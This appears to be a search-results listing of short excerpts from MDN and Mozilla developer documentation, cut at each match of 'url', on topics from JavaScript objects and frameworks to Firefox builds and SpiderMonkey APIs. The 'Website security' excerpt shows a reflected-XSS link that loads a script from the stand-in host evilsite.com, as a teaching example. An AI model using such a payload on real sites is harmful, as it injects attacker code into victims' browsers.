urly brace of the person object: let mydataname = 'height'; let mydatavalue = '1.75m'; person[mydataname] = mydatavalue; now try saving and refreshing, and entering the following into your text input: person.height adding a property to an object using the method above isn't possible with dot notation, which can only accept a literal member name, not a variable value pointing to a name. what is "...
... when you accessed the document object model using lines like this: const mydiv = document.createelement('div'); const myvideo = document.queryselector('video'); you were using methods available on an instance of the document class. for each webpage loaded, an instance of document is created, called document, which represents the entire page's structure, content, and other features such as its
url. again, this means that it has several common methods and properties available on it. the same is true of pretty much any other built-in object or api you've been using — array, math, and so on. note that built in objects and apis don't always create object instances automatically. as an example, the notifications api — which allows modern browsers to fire system notifications — requires ...
Website security - Learn web development
d persistent, based on how the site returns the injected scripts to a browser. a reflected xss vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser. any scripts in the original user content will be run when the new page is loaded. for example, consider a site search function where the search terms are encoded as
url parameters, and these terms are displayed along with the results. an attacker can construct a search link that contains a malicious script as a parameter (e.g., http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user. if the target user clicks this "interesting link", the script will be executed when the search results are displayed. as discus...
...browser. whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in sql queries, or passed to an operating system or file system call. important: the single most important lesson you can learn about website security is to never trust data from the browser. this includes, but is not limited to data in
url parameters of get requests, post requests, http headers and cookies, and user-uploaded files. always check and sanitize all incoming data. always assume the worst. a number of other concrete steps you can take are: use more effective password management. encourage strong passwords that are changed regularly. consider two-factor authentication for your site, so that in addition to a password ...
Ember resources and troubleshooting - Learn web development
to, it is possible to roll your own front-end data client. a common alternative is to any fully-featured front-end data client is the fetch api. using the design patterns provided by the framework, a route using fetch() would look something like this: import route from '@ember/routing/route'; export default class myroute extends route { async model() { let response = await fetch('some/
url/to/json/data'); let json = await response.json(); return { data: json }; } } see more information on specifying the route's model here. why can't i just use javascript? this is the most common question ember folks hear from people who have previous experience with react. while it is technically possible to use jsx, or any other form of dom creation, there has yet to be a...
... still trying to figure out an ergonomic and simple api for setting data in a template-only context, without backing js. what is the purpose of controllers? controllers are singletons, which may help manage the rendering context of the active route. on the surface, they function much the same as the backing javascript of a component. controllers are (as of january 2020), the only way to manage
url query params. ideally, controllers should be fairly light in their responsibilities, delegating to components and services where possible. what is the purpose of routes? a route represents part of the
url when a user navigates from place to place in the app. a route has only a couple responsibilities: load the minimally required data to render the route (or view-sub-tree). gate access ...
Introduction to client-side frameworks - Learn web development
ition was difficult to understand at a glance. by contrast, the following block of code illustrates the way you might use vue to describe our list of tasks: <ul> <li v-for="task in tasks" v-bind:key="task.id"> <span>{{task.name}}</span> <button type="button">delete</button> </li> </ul> that's it. this snippet reduces approximately thirty-two lines of code down to six lines. if the c
urly braces and v- attributes here are unfamiliar to you, that's okay; you’ll learn about vue-specific syntax later on in the module. the thing to take away here is that this code looks like the ui it represents, whereas the vanilla javascript code does not. thanks to vue, we didn't have to write our own functions for building the ui; the framework will handle that for us in an optimized, efficien...
...e part of the ui being spread out all over a file — or in another file altogether. routing the most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. when you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. as it does so, the
url in your address bar changes. you can save this new
url and come back to the page later on, or share it with others so they can easily find the same page. your browser remembers your navigation history and allows you to navigate back and forth, too. this is called server-side routing. modern web applications typically do not fetch and render new html files — they load a single html shell, and c...
Framework main features - Learn web development
a javascript environment. it was invented by the react team for use in react applications, but can be used to develop other applications — like vue apps, for instance. the following shows a simple jsx example: const subject = "world"; const header = ( <header> <h1>hello, {subject}!</h1> </header> ); this expression represents an html <header> element with a <h1> element inside. the c
urly braces around subject on line 4 tell the application to read the value of the subject constant and insert it into our <h1>. when used with react, the jsx from the previous snippet would be compiled into this: var subject = "world"; var header = react.createelement("header", null, react.createelement("h1", null, "hello, ", subject, "!") ); when ultimately rendered by the browser, the above s...
...e html that looks like this: <header> <h1>hello, world!</h1> </header> handlebars the handlebars templating language is not specific to ember applications, but it is heavily utilized in ember apps. handlebars code resembles html, but it has the option of pulling data in from elsewhere. this data can be used influence the html that an application ultimately builds. like jsx, handlebars uses c
urly braces to inject the value of a variable. handlebars uses a double-pair of c
urly braces, instead of a single pair. given this handlebars template: <header> <h1>hello, {{subject}}!</h1> </header> and this data: { subject: "world" } handlebars will build html like this: <header> <h1>hello, world!</h1> </header> typescript typescript is a superset of javascript, meaning it extends jav...
Getting started with React - Learn web development
more comfortable editing components and working with data in react. we'll talk about how variables are used inside jsx, and introduce props, which are a way of passing data into a component (which can then be accessed using variables). variables in jsx back in app.js, let’s focus on line 9: <img src={logo} classname="app-logo" alt="logo" /> here, the <img /> tag's src attribute value is in c
urly braces. this is how jsx recognizes variables. react will see {logo}, know you are referring to the logo import on line 2 of our app, then retrieve the logo file and render it. let's try making a variable of our own. before the return statement of app, add const subject = 'react';. your app component should now look like this: function app() { const subject = "react"; return ( <div clas...
...nd how the basics work. in the next article, we'll start building our first proper application — a todo list. before we do that, however, let's recap some of the things we’ve learned. in react: components can import modules they need and must export themselves at the bottom of their files. component functions are named with pascalcase. you can read jsx variables by putting them between c
urly braces, like {so}. some jsx attributes are different than html attributes so that they don't conflict with javascript reserved words. for example, class in html translates to classname in jsx. note that multi-word attributes are camel-cased. props are written just like attributes inside component calls and are passed into components. previous overview: client-side javascript frameworks ...
Working with Svelte stores - Learn web development
from './stores.js' </script> <alert /> <todos bind:todos={$todos} /> note: this is the only change we have to make in order to use our custom store. app.svelte is completely transparent in terms of what kind of store we are using. go ahead and try your app again. create a few todos and then close the browser. you may even stop the svelte server and restart it. upon revisiting the
url, your todos will still be there. you can also inspect it in the devtools console. in the web console, enter the command localstorage.getitem('mdn-svelte-todo'). make some changes to your app, like pressing the uncheck all button, and check the web storage content once more. you will get something like this: svelte stores provide a very simple and lightweight, but extremely powerful,...
...it's just a literal javascript object being passed as a parameter to the fly transition. try your app out again — you'll see that the notifications now look a bit more appealing. note: being a compiler allows svelte to optimize the size of our bundle by excluding features that are not used. in this case, if we compile our app for production w...
Dynamic behavior in Svelte: working with variables and props - Learn web development
we've turned our static markup into a dynamic template ready to display the tasks from our component's state. great! we are getting there. working with props with a hardcoded list of todos, our todos component is not very useful. to turn our component into a general pu...
...t. so when we issue class:btn__primary={filter === 'all'}, svelte will apply the btn__primary class if filter equals all. note: svelte provides a shortcut which allows us to shorten <div class:active={active}> to <div class:active> when the class matches the variable name. something similar happens with aria-pressed={filter === 'all'} — when the javascript expression passed between c
urly braces evaluates to a truthy value, the aria-pressed attribute will be added to the button. whenever we click on a button we update the filter variable by issuing on:click={()=> filter = 'all'}. read on to find out how svelte reactivity will take care of the rest. now we just need to use the helper function in the {#each} loop; update it like this: ... <ul role="list" class="todo-l...
Handling common accessibility problems - Learn web development
ilable that you can feed your web pages into. they will look over them and return a list of accessibility issues present on the page. examples include: wave: a rather nice online accessibility testing tool that accepts a web address and returns a useful annotated view of that page with accessibility problems highlighted. tenon: another nice online tool that goes through the code at a provided
url and returns results on accessibility errors including metrics, specific errors along with the wcag criteria they affect, and suggested fixes. it requires a free trial signup to view the results. tota11y: an accessibility tool from the khan academy that takes the form of a javascript library that you attach to your page to provide a number of accessibility tools. let's look at an example, using...
...ncluding metrics, specific errors along with the wcag criteria they affect, and suggested fixes. it requires a free trial signup to view the results. tota11y: an accessibility tool from the khan academy that takes the form of a javascript library that you attach to your page to provide a number of accessibility tools. let's look at an example, using wave. go to the wave homepage. enter the
url of our bad-semantics.html example into the text input at the top of the page (or the
url of another webpage you'd like to analyze) and press analyse your webpage. check out the description of the accessibility problems on the results page (the icons you can click to see what problems are occuring where are rather useful). note: such tools aren't good enough to solve all your accessibility pro...
Embedding API for Accessibility
accepting special content on an instance basis after being notified of special content, the user needs to be able to select specific unloaded content for loading. one way of doing this is to build up the nsiwebbrowseraccessible interface, so that there is a method to force loading each type of content just for the current page in the current session. open issue: accessibility settings per
url a powerful possibility is that we design an interface for setting certain preferences based on the
url. if we can find a clean way to present it to the user, this would be extremely useful. for example, settings per
url would allow a user to accept scripts from their known benign web pages, but not others. users may want similarity abilities with applets, background images, style sheets, etc. ...
...perhaps it can be extended to store accessibility preferences. ...
Accessible Toolkit Checklist
er of children of an iaccessible. get_accchild: get the child of an iaccessible. get_accname: get the "name" of the iaccessible, for example the name of a button, checkbox or menu item. this is one reason why a label must be created together with each widget, rather than separately. get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a
url for a link, the text a user entered in a field. get_accrole: get an enumerated value representing what this iaccessible is used for, for example. is it a link, static text, editable text, a checkbox, or a table cell, etc. get_accstate: a 32 bit field representing possible on/off states, such as focused, focusable, selected, selectable, visible, protected (for passwords), check...
... dark border dynamically when the currently focused widget does not need the enter key events - making keystrokes do the right thing msaa support (default state) links enter key activates link (thus default button no longer shows dark border when link is focused) msaa support, including linked and traversed states, and accessible value that holds destination
url text fields - single and multiple line it's probably best to use native widgets for these, otherwise accessibility support will be quite difficult tab should always focus the next item, not insert a tab, unless there's a really good reason and another way to navigate always use system selection color, otherwise screen reader won't read the text make sure the...
Creating a Language Pack
evelopment, you need to get the right strings for the build you use. best is to create an installer there. first, we get the en-us builds. there is a target to get those, too, another way to test it to repack the en-us binary. from the obj-firefox-build/browser/locales directory, download the most recent en-us nightly that will be repacked to include your locale. ...
...est it to repack the en-us binary. from the obj-firefox-build/browser/locales directory, download the most recent en-us nightly that will be repacked to include your locale. $ make wget-en-us en_us_binary_
url=http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora if you're building on mac 64 bit, you'll need to change the command slightly: $ make wget-en-us en_us_binary_
url=http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-aurora moz_pkg_platform=mac at some point, you should see the following success message: downloaded http://ftp.mozilla.org/pub/mozilla.o....en-us.mac.dmg to /users/your_id/mozilla/vc/firefox/browser/locales/../../dist/firefox-3.6b5pre.en-us.mac.dmg the en-us binary has been downloaded. let's unpack it $ make unpack again, ...
Creating a Login Manager storage module
the category registration looks like this: nscomptr<nsicategorymana...
...the category registration looks like this: nscomptr<nsicategorymanager> cat = do_getservice(ns_categorymanager_contractid); ns_ensure_state(cat); cat->addcategoryentry(...
Makefile - variables
moz_debug moz_enable_xremote moz_feeds moz_help_viewer moz_native_nspr moz_metro moz_pkg_mainfest moz_preflight_all moz_rdf moz_toolkit_search moz_
url_classifier moz_widget_toolkit android, beos, cocoa, gtk2, os2, qt, windows moz_xpctools moz_xul moz_x11 test variable description enable_tests boolean value that should wrapper all unit tests to allow disabling on...
...target directory to install distributed content. default=$(dist)/bin xpi_name if set final_target=$(dist)/xpi-stage/$(xpi_name) dist_subdir if set final_target will be $(dist)/bin/$(dist_subdir) [ metro build ] l10n.mk and localization variable description en_us_binary_
url server
url from which wget will ftp binaries. l10nbasedir moz_chrome_multilocale a list of locale names to process moz_chrome_file_format both, file, jar, omni, symlink packager_no_libs hack to allow one makefile to include another without pulling in libs:: target definitions. stagedist...
Simple SeaMonkey build
mercurial source repository and enough free disk space to compile. a fast ssd is recommended; the firefox build process is i/o-intensive. high speed internet installing build tools if your system is not listed below, see the build prerequisites page. ...
...dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libpulse-dev ubuntu linux # for ubuntu 12.04 lts (precise pangolin), replace the following line with: sudo apt-get build-dep thunderbird sudo apt-get build-dep seamonkey sudo apt-get install zip unzip mercurial g++ make autoconf2.13 yasm libgtk2.0-dev libglib2.0-dev libdbus-1-dev libdbus-glib-1-dev libasound2-dev libc
url4-openssl-dev libnotify-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libiw-dev libxt-dev mesa-common-dev libpulse-dev fedora linux centos rhel: sudo yum groupinstall 'development tools' 'development libraries' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel alsa-lib...
HTMLIFrameElement.download()
warning: removed in firefox 65. the download() method of the htmliframeelement interface downloads a specified
url, storing it at /sdcard/download. syntax var instanceofdomrequest = instanceofhtmliframeelement.download(
url, options); returns a domrequest for handling the download request. its request.onsuccess handler handles the success case, and its request.onerror handler handles the failure case. parameters
url the
url of the file to be downloaded. options optional an options object allowing optional settings to be specified for the download. the available options are: filename: the filename to save the downloaded file as. if this is not specified, the filename used will be the original filename, as specified in the
url. referrer: specifies a referrer for the download...
...oad. the available options are: filename: the filename to save the downloaded file as. if this is not specified, the filename used will be the original filename, as specified in the
url. referrer: specifies a referrer for the downloaded file. if this is not specified there will be no referrer. examples var browser = document.queryselector('iframe'); var request = browser.download(foo
url, { filename: 'foo.bin' }); request.onsuccess = function() { console.log("file downladed"); } request.onerror = function() { console.log("download error"); } specification not part of any specification. ...
mozbrowsermanifestchange
type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
... the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: href the
url of the new app manifest. ...
mozbrowseropenwindow
type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the document loaded within the frameelement property. name a domstring representing the name of the new browser window. features a domstring containing features represented by a list of names and values separated by commas. for a complete list of possible features, see window.open(). frameelement an object representing the new browser <iframe> that will ...
...nd values separated by commas. for a complete list of possible features, see window.open(). frameelement an object representing the new browser <iframe> that will embed the new content. ...
Roll your own browser: An embedding how-to
ot) xparts: kde extension that allows mozilla to be embedded into the konqueror browser. uses gtkmozembed widget, part of the kdebindings module and available from http://websvn.kde.org/trunk/kde/kdebindings/xparts/. (news release, screenshot) mozilla examples gtkmozembed widget: gtk widget wrapper for the mozilla gecko engine. testgtkembed: basic browser built with the gtkmozembed widget.
url location field, menu bar, html area, supports ssl. windows external projects k-meleon browser: the windows answer to galeon. fast ie-look-alike browser, uses ie and ns bookmarking system, fast loading time, privacy features, java support and complete control of the menus and "hotkeys". implemented with mozilla embedding apis. (screenshots) neoplanet browser: a gecko add-on for the neoplane...
...allowing for embedding the gecko layout engine.obsolete since gecko 7.0 llmozlib & ubrowser: a static library that allows you to embed gecko and render pages to memory. includes test applications that illustrate how to use it. versions for windows and mac with linux to follow. mozilla examples mfcembed: standard mozilla embedding example application for win32. basic browser, menus, toolbar,
urlbar, html area. winembed: obsoleted by mfcembed. a bare-bones browser with
urlbar and html area. activex control: an activex control for mozilla using the gecko layout engine. more information at 1 and 2. mac external projects activestate's komodo: development environment, based on mozilla's xul. (screenshot) marbrow : mac port of x2web (ja, ko) embedding mozilla. mozilla examples ...
AddonScreenshot
caption optional string the caption of the screenshot. width optional string the width of the screenshot. height optional string the height of the screenshot. ...
... caption optional string the caption of the screenshot. width optional string the width of the screenshot. height optional string the height of the screenshot. ...
Code Samples
ted if you need to determine the directory in which your add-on is installed, code like the following will do the trick. simply replace yourextensionid with your add-on's id. ...
...ng file and version information components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("my-addon@foo.com", function(addon) { alert("my extension's version is " + addon.version); alert("did i remember to include that file.txt file in my xpi? " + addon.hasresource("file.txt") ? ...
CustomizableUI.jsm
window of selected tab'); thisdomwindow.alert('alert from xul window'); } }); //end - use customizableui.jsm to create the widget //start - use style sheet service to style our widget to give it an icon cu.import('resource://gre/modules/services.jsm'); var sss = cc['@mozilla.org/content/style-sheet-service;1'].getservice(ci.nsistylesheetservice); var css = ''; css += '@-moz-document
url("chrome://browser/content/browser.xul") {'; css += ' #id_of_my_widget_within_customizableui_and_dom {'; css += ' list-style-image:
url("chrome://branding/content/icon16.png")'; //a 16px x 16px icon for when in toolbar css += ' }'; css += ' #id_of_my_widget_within_customizableui_and_dom[cui-areatype="menu-panel"],'; css += ' toolbarpaletteitem[place="palette"] > #id_of_my_wi...
..._within_customizableui_and_dom {'; css += ' list-style-image:
url("chrome://branding/content/icon16.png")'; //a 16px x 16px icon for when in toolbar css += ' }'; css += ' #id_of_my_widget_within_customizableui_and_dom[cui-areatype="menu-panel"],'; css += ' toolbarpaletteitem[place="palette"] > #id_of_my_widget_within_customizableui_and_dom {'; css += ' list-style-image:
url("chrome://branding/content/icon32.png");'; //a 32px x 32px icon for when in toolbar css += ' }'; css += '}'; var cssenc = encodeuricomponent(css); var newuriparam = { a
url: 'data:text/css,' + cssenc, aorigincharset: null, abaseuri: null } var cssuri = services.io.newuri(newuriparam.a
url, newuriparam.aorigincharset, newuriparam.abaseuri); //store this in a global var so you can cal...
FxAccountsOAuthClient.jsm
parameters set of parameters to initialize the firefox accounts oauth flow. authorizationendpoint optional optional authorization endpoint for the oauth server. default: /authorization return value a newly created fxaccountsoauthclient object implementing the methods described in this article. methods launchwebflow() opens a new tab at the firefox accounts oauth authorization
url. ...
...ation
url. registers a webchannel listener and sets up a callback if needed. parameters none teardown() call this function to manually release all channels and callbacks that are in use by this client. ...
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module provides a way to fetch firefox accounts profile information. the modules uses the firefox profiler server api. components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fetchprofile(); attributes server
url url profiler server
url. token string bearer token. constructor fxaccountsprofileclient() creates and returns a new fxaccountsprofileclient object. fxaccountsprofileclient fxaccountsprofileclient( object options string server
url, string token ); parameters server
url - firefox profile server
url. token - firefox accounts oauth bearer token. return value a ...
...methods described in this article. methods fetchprofile() fetches firefox accounts profile information. parameters none return value promise resolves: object - successful response from the '/profile' endpoint. rejects: fxaccountsprofileclienterror - profile client error. examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ server
url: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object. fxaccountsprofileclienterror attributes name string name of the error fxaccountsprofileclienterror code...
SourceMap.jsm
on about the original file positions by giving it a file position in the generated source. new sourcemapconsumer(rawsourcemap) the only parameter is the raw source map (either as a string which can be json.parse'd, or an object). according to the spec, source maps have the following attributes: version: which version of the source map spec this map is following. sources: an array of
urls to the original source files. names: an array of identifiers that can be referenced by individual mappings. sourceroot: optional. the
url root from which all sources are relative. mappings: a string of base64 vlqs which contain the actual mappings. file: the generated filename this source map is associated with. sourcemapconsumer.prototype.originalpositionfor(generate...
...s not available. sourcemapgenerator an instance of the sourcemapgenerator represents a source map which is being built incrementally. new sourcemapgenerator(startofsourcemap) to create a new one, you must pass an object with the following properties: file: the filename of the generated source that this source map is associated with. sourceroot: an optional root for all relative
urls in this source map. sourcemapgenerator.prototype.addmapping(mapping) add a single mapping from original source line and column to the generated source's line and column for this source map being created. the mapping object should have the following properties: generated: an object with the generated line and column positions. original: an object with the original line and column...
QA phase
ould take note of before you push to your repository: make sure that your files have been encoded in unicode without bom (byte order mark). remember that here you are pushing an entire directory, not a .zip archive file or an .xpi lang pack. the instructions below will help you learn how to use your hg repository. after your new repository is created by the l10n-drivers, please visit the
url for your repo. we'll use x-testing here for our example. you can do this by entering the following
url into your browser: http://hg.mozilla.org/l10n-central/x-testing now, navigate to your locale's directory on your local machine. if you're using koala, this should be located at /path/to/your/koala.project/locale/3.6/x-testing, otherwise, it should be located at /path/to/your/working_dir/l10n_...
...43e8f3a6a tag: tip user: your name <email@example.com> date: mon nov 23 18:08:25 2009 +0100 summary: added search bar strings let's now push this changeset. enter the following command: hg push http://hg.mozilla.org/l10n-central/x-testing mercurial will connect to your repo and ask you to provide your account information (i.e., the username and the password). real
url is http://hg.mozilla.org/l10n-central/x-testing pushing to http://hg.mozilla.org/l10n-central/x-testing searching for changes http authorization required realm: hg.mozilla.org http user: your_id password: after you enter your account information, the changeset will be pushed. adding changesets adding manifests adding file changes added 1 changesets with 2 changes to 2 files bb/acl: your_id is ...
Fonts for Mozilla 2.0's MathML engine
a for the product in which this font is included to display and print content", so consulting your lawyer is recommended if considering installing this on systems without the associated product. reset old preferences if users have previously changed the "font.mathfont-family" preference for a previous version of mozilla, then it is best to reset this to the default value. to do this, enter the
url "about:config", "filter" for "mathfont", and "reset" to the default value through the context menu on the preference. mathml font selection with css you can get these fonts from the mathml-fonts add-on ; the xpi is just a zip archive that you can fetch and extract for example with the following command: wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -o mat...
...848-latest.xpi -o mathml-fonts.zip; \ unzip mathml-fonts.zip -d mathml-fonts then copy the mathml-fonts/resource/ directory somewhere on your web site and ensure that the woff files are served with the correct mime type. finally, include the mathml-fonts/resource/mathml.css style sheet in your web pages, for example by adding the following rule to the default style sheet of your web site: @import
url('/path/to/resource/mathml.css'); browsers have default font-families in their user agent stylesheets. if necessary, you might want to modify the font-family on the <math> elements and, for gecko, the on ::-moz-math-stretchy pseudo element too. for example to force the use of stix fonts: math { font-family: stixgeneral; } ::-moz-math-stretchy { font-family: stixnonunicode, stixsizeonesym, sti...
Mozilla Quirks Mode Behavior
he css parser interprets unitless numbers as px (except for line-height and any other properties where they have distinct meaning, and except in shorthands). in quirks mode, the css parser allows {} around the contents of style attributes (bug 99554). this behavior is being removed in firefox 27, for interoperability. (bug 915053) an empty string for the background attribute sets the background
url to empty only in quirks mode. the topmargin, bottommargin, leftmargin, and rightmargin attributes on body are supported only in quirks mode (bug 9258). obsolete since gecko 35 (firefox 35.0 / thunderbird 35.0 / seamonkey 2.32) (bug 95530) this quirk is now html5 conform and has been adopted in standards mode. the scrollleft, scrolltop, scrollwidth, and scrollheight properties are relative to ...
...ment was used in the selector, or if it was part of a pseudo-class argument (bug 783213). quirks mode has document.all support (undetected). images (img elements) without alt attributes sometimes display placeholder icons in quirks mode. obsolete since gecko 2.0 html colors were parsed differently up to gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) (bug 121738). in quirks mode, the
url fragment #top scrolls to the top of the page when there is no such anchor. obsolete since gecko 10.0 however, html5 requires this behavior, and starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this also works in standards mode (bug 80784, bug 93077). block and inline layout [this quirk is present in almost standards mode.] line height (not line-height) calculations...
Reporting a Performance Problem
this article will guide you in reporting a performance problem using the built-in gecko profiler tool. enabling the profiler toolbar button these steps only work in firefox 75+. visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the
url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it. using the profiler when enabled, the profiler toolbar button is not recording by default. recording can be done by clicking on the toolbar icon to open its panel. make sure to choose an appropriate setting for the recording (if you're not sure, choose firefox platform), and then choosing "start recording". the toolbar icon turns blue whe...
...will allow you to upload this profile and once completed will write out a link. before uploading, the publish button asks you what data you'd like to publish to our servers. note that while it's possible to strip profiles of potentially privacy sensitive information, the less information a profile contains, the harder it is to analyze and turn into actionable data. once uploaded, copy permalink
url to your clipboard by right clicking and add the profile
url to a bug for your performance problem and/or send it to the appropriate person. try to give some context about what you were doing when the performance problem arose such as the
url you were viewing and what actions were you doing (ex. scrolling on gmail.com). viewing addon performance in geckoview sometimes an addon or more are sl...
Midas editor module security preferences
t editor. if there's no user.js file, create one. add these lines to user.js: user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org"); user_pref("capability.policy.allowclipboard.clipboard.cutcopy", "allaccess"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); change the
url https://www.mozilla.org to the site for which you want to enable this function. save the file and restart firefox. the clipboard buttons in the demo, or similar buttons on the sites you listed, should now function. note: the preference is site as well as protocol specific. for example: user_pref("capability.policy.allowclipboard.sites", "http://www-archive.mozilla.org") is not the same as: ...
...ou listed, should now function. note: the preference is site as well as protocol specific. for example: user_pref("capability.policy.allowclipboard.sites", "http://www-archive.mozilla.org") is not the same as: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org") this is because the first uses http while the second uses https. if you want to allow multiple
urls to access the paste operation, separate the
urls with a space. for example: user_pref("capability.policy.allowclipboard.sites", "https://www-archive.mozilla.org https://developer.mozilla.org") again, keep in mind the security risks involved here and be sure to remove permission to access the clipboard once you no longer need it enabled. ...
Midas
ting a pref or using signed js. see: more about security preferences note: the shortcut key will automatically trigger this command (typically accel-c) with or without the signed js or any code on the page to handle it. createlink a uri. this command will not do anything if no selection is made. if there is a selection, a link will be inserted around the selection with the
url parameter as the href of the link. cut if there is a selection, this command will copy the selection to the clipboard and remove the selection from the edit control. if there isn't a selection, nothing will happen. note: this command won't work without setting a pref or using signed js. see: more about security preferences note: the shortcut key will automatically trigger...
...nd will insert a horizontal rule (line) at the insertion point. does it delete the selection? yes! inserthtml a string. this command will insert the given html into the <body> in place of the current selection or at the caret location. the given string is the html to insert. insertimage a uri. this command will insert an image (referenced by the given
url) at the insertion point. insertorderedlist depends on the selection. if the caret is not inside a non-li block, that block becomes the first li and an ol. if the caret is inside a bulleted item, the bulleted item becomes a numbered item. insertunorderedlist depends on the selection. if the caret is not inside a non-li block, that block becomes the first li and ul. ...
NSS Developer Tutorial
nss coding style formatting line length should not exceed 80 characters. indentation level is 4. tabs are used heavily in many nss source files. try to stay consistent when you modify existing code. the proper use of tabs has often been confusing for new nss developers, so in nss/lib/ssl, we're gradually removing the use of tabs. ...
...both of the following styles are allowed: if (condition) { action1(); } else { action2(); } or: if (condition) { action1(); } else { action2(); } the former style is more common. when modifying existing code, try to stay consistent. in new code, prefer the former style, as it conserves vertical space. when a block of code consists of a single statement, nss doesn’t require c
urly braces, so both of these examples are fine: if (condition) { action(); } or: if (condition) action(); although the use of c
urly braces is more common. multiple-line comments should be formatted as follows: /* * line1 * line2 */ or /* ** line 1 ** line 2 */ the following styles are also common, because they conserve vertical space: /* line1 * line2 */ or /* lin...
OLD SSL Reference
cipherpolicyget ssl configuration functions ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ssl_configsecureserver ssl_set
url ssl_setpkcs11pinarg callback configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecal...
...ck ssl communication functions ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by callbacks ssl_peercertificate ssl_reveal
url ssl_revealpinarg ssl handshake functions ssl_forcehandshake ssl_rehandshake ssl_resethandshake nss shutdown function nss_shutdown deprecated functions ssl_enabledefault ...
Rhino overview
when given a single space character as an argument (skips leading whitespace, and splits on whitespace). all other versions split on the space character proper as specified by ecma. security the security features in rhino provide the ability to track the origin of a piece of code (and any pieces of code that it may in turn generate). these features allow for the implementation of a traditional
url-based security policy for javascript as in netscape navigator. embeddings that trust the javascript code they execute may ignore the security features. embeddings that run untrusted javascript code must do two things to enable the security features. first, every context that is created must be supplied an instance of an object that implements the securitysupport interface. this will provide rhin...
...t.resources.security. the value of this property can be determined at runtime by calling the issecuritydomainrequired method of context. setting this property to true requires that any calls that compile or evaluate javascript must supply a security domain object of any object type that will be used to identify javascript code. in a typical client embedding, this object might be a string with the
url of the server that supplied the script, or an object that contains a representation of the signers of a piece of code for certificate-based security policies. when javascript code attempts a restricted action, the security domain can be retrieved in the following manner. the class context should be obtained from the security manager (see java.lang.securitymanager.getclasscontext()). then, the cl...
JS::Compile
mp; source buffer containing the script to compile. chars const char16_t * string containing the script to compile. bytes const char * string containing the script to compile. length size_t the length of chars or bytes, in characters. file file * file handle containing the function. filename const char * name of file or
url containing the function. used to report filename or
url in error messages. script js::mutablehandlescript out parameter. on success, script receives the result script. description js::compile compiles a script, srcbuf, chars, bytes, or file, for execution. the script is associated with a js object. srcbuf, chars, bytes is the string containing the text of the script. lengt...
...e result script. description js::compile compiles a script, srcbuf, chars, bytes, or file, for execution. the script is associated with a js object. srcbuf, chars, bytes is the string containing the text of the script. length indicates the size of the text version of the script in characters. file is the filehandle containing the text of the script. filename is the name of the file (or
url) containing the script. this information is included in error messages if an error occurs during compilation.. on success, js::compile stores an object representing the newly compiled script into script, and returns true. otherwise, it returns false and the value left in script is undefined. see also the jsapi user guide contains example code using compiled scripts. mxr id search for js::co...
JS::Evaluate
js::sourcebufferholder & source buffer containing the script to compile and execute. chars const char16_t * string containing the script to compile and execute. bytes const char * string containing the script to compile and execute. length size_t the length of chars or bytes, in characters. filename const char * name of file or
url containing the script. used to report filename or
url in error messages. rval js::mutablehandlevalue out parameter. on success, if rval is not null, *rval receives the result value. description js::evaluate compiles and executes a script in the specified scope, obj or scopechain. srcbuf, chars and bytes are the string containing the text of the script. length indicates the...
...::mutablehandlevalue out parameter. on success, if rval is not null, *rval receives the result value. description js::evaluate compiles and executes a script in the specified scope, obj or scopechain. srcbuf, chars and bytes are the string containing the text of the script. length indicates the size of the text version of the script in characters. filename is the name of the file (or
url) containing the script. this information is used in messages if an error occurs during compilation. rval is an optional out parameter. if it is non-null, then on success, the result value is stored in *rval. this value is determined the same way as for the standard eval function. in the common case where the script is just an expression, the result value is simply the value of that expression. m...
JSErrorReport
if null, the error is local to the script in the current html page. lineno unsigned line number in the source that caused the error. ...
...cmessage const char16_t * the default unicode error message. messageargs const char16_t ** arguments for the error message. exntype int16_t one of the jsexntype constants. description jserrorreport describes a single error that occurs in the execution of script. in the event of an error, filename will either contain the name of the external source file or
url containing the script (script src=) or null, indicating that a script embedded in the current html page caused the error. lineno indicates the line number of the script containing the error. in the case of an error in a script embedded in the html page, lineno indicates the html lineno where the script error is located. linebuf is a pointer to a user-defined buffer into which js copies the offend...
JS_CompileFunction
